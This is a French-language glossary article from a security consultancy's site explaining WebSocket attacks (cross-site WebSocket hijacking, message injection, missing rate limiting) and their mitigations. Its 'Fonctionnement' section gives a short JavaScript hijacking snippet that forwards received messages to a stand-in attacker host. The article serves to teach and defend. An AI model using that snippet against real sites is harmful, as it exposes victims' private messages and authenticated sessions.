WebSocket Security Attack
hackingDéfinition
Les attaques sur les WebSockets ciblent les vulnérabilités spécifiques au protocole WebSocket, utilisé pour des communications bidirectionnelles et persistantes entre navigateurs et serveurs. Les WebSockets présentent des risques de sécurité distincts des HTTP classiques en raison de leurs caractéristiques : absence de politique Same-Origin pour le handshake, connexion persistante, et protocole binaire/texte. Les principales vulnérabilités WebSocket incluent : le Cross-Site WebSocket Hijacking (CSWSH), l'injection de messages WebSocket, l'absence d'authentification continue, et les attaques de désérialisations via des formats de données WebSocket. Le Cross-Site WebSocket Hijacking (CSWSH) est l'équivalent WebSocket du CSRF : une page malveillante peut initier une connexion WebSocket vers un autre domaine (la restriction Same-Origin ne s'applique pas au handshake WebSocket initial). Si le serveur WebSocket authentifie la connexion uniquement via des cookies de session HTTP (automatiquement envoyés lors du handshake), un site malveillant peut établir une connexion WebSocket authentifiée au nom de la victime et interagir avec le serveur. Les injections WebSocket surviennent quand des messages WebSocket contiennent des données traitées sans validation : injection XSS via des messages WebSocket qui sont affichés dans d'autres navigateurs (chats, applications collaboratives), injections SQL via des données JSON envoyées dans des messages WebSocket, et injection de commandes via des messages de contrôle d'applications IoT ou industrielles. L'absence de rate limiting sur les WebSockets permet des attaques de force brute et de déni de service plus efficaces qu'en HTTP classique car la connexion WebSocket persistante évite le coût d'établissement de connexion pour chaque tentative. Burp Suite Pro inclut des outils de test WebSocket (interception, manipulation, répétition de messages WebSocket) permettant de tester ces vulnérabilités dans un contexte de pentest.
Fonctionnement
CSWSH : page attaquant avec JavaScript var ws = new WebSocket('wss://victime.com/chat');. Le navigateur inclut les cookies de victime.com dans le handshake. Si le serveur authentifie uniquement par cookie, la connexion est établie. L'attaquant peut alors envoyer/recevoir des messages : ws.onmessage = function(e){ fetch('https://attaquant.com/?m='+e.data); }. Burp Suite permet d'intercepter et modifier les messages WebSocket pour tester les injections.
Exploitation offensive
Les applications de messagerie, de trading en temps réel, et de collaboration utilisent massivement les WebSockets. Des failles dans ces systèmes peuvent permettre l'impersonation d'utilisateurs, la lecture de messages privés, ou l'injection de commandes dans des interfaces de contrôle. Les applications IoT avec interfaces WebSocket sont particulièrement vulnérables aux injections de commandes.
Détection et mitigation
Vérifier l'en-tête Origin lors du handshake WebSocket et rejeter les connexions de domaines non autorisés protège contre CSWSH. Utiliser des tokens CSRF dans les messages WebSocket (pas seulement dans le handshake) renforce la protection. Valider et assainir tous les messages WebSocket comme les entrées HTTP classiques. Rate limiting et authentification continue (token JWT dans les messages) complètent les défenses.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h